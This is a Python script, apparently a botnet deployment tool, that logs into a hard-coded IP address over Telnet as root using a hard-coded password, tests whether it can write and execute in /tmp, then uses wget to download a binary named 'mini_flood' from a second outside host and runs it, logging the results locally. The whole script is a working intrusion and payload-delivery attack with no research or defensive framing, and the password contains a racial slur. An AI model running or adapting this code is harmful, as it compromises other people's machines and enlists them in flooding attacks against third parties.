import socket, time

def connect(ip, port, user, passwd):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(6)
    s.connect((ip, port))
    time.sleep(1)
    data = s.recv(4096).decode(errors="ignore")
    if "login" in data.lower():
        s.send((user+"\r\n").encode())
        time.sleep(1)
        data = s.recv(4096).decode(errors="ignore")
    if "password" in data.lower():
        s.send((passwd+"\r\n").encode())
        time.sleep(2)
        data = s.recv(4096).decode(errors="ignore")
    try: s.recv(65536)
    except: pass
    return s

def cmd(s, c, wait=2):
    s.send((c+"\r\n").encode())
    time.sleep(wait)
    r = b""
    try:
        while True:
            chunk = s.recv(65536)
            if not chunk: break
            r += chunk
    except: pass
    return r.decode(errors="ignore")

ip = "103.75.116.88"
try:
    s = connect(ip, 23, "root", "niggerson123")
    
    # Check system
    r = cmd(s, "uname -a")
    open("/tmp/r4.txt","w").write("UNAME: " + r.strip()[:200])
    
    # Check if /tmp is writable + exec
    r = cmd(s, "echo TESTOK > /tmp/_test && cat /tmp/_test")
    open("/tmp/r4.txt","a").write("\nWRITE: " + r.strip()[:100])
    
    # Try cp /bin/ls and exec
    r = cmd(s, "cp /bin/ls /tmp/_xt")
    open("/tmp/r4.txt","a").write("\nCP: " + r.strip()[:50])
    r = cmd(s, "chmod +x /tmp/_xt")
    r = cmd(s, "/tmp/_xt /tmp/ 2>&1")
    open("/tmp/r4.txt","a").write("\nEXEC_LS: " + r.strip()[:100])
    
    # Deploy binary
    r = cmd(s, "wget -q -O /root/f http://167.148.195.3/mini_flood", 15)
    open("/tmp/r4.txt","a").write("\nWGET: " + r.strip()[:100])
    r = cmd(s, "ls -la /root/f 2>&1")
    open("/tmp/r4.txt","a").write("\nLS: " + r.strip()[:100])
    r = cmd(s, "chmod +x /root/f")
    r = cmd(s, "/root/f 2>&1", 3)
    open("/tmp/r4.txt","a").write("\nEXEC_F: " + r.strip()[:200])
    
    s.close()
except Exception as e:
    open("/tmp/r4.txt","a").write("\nERR: " + str(e)[:100])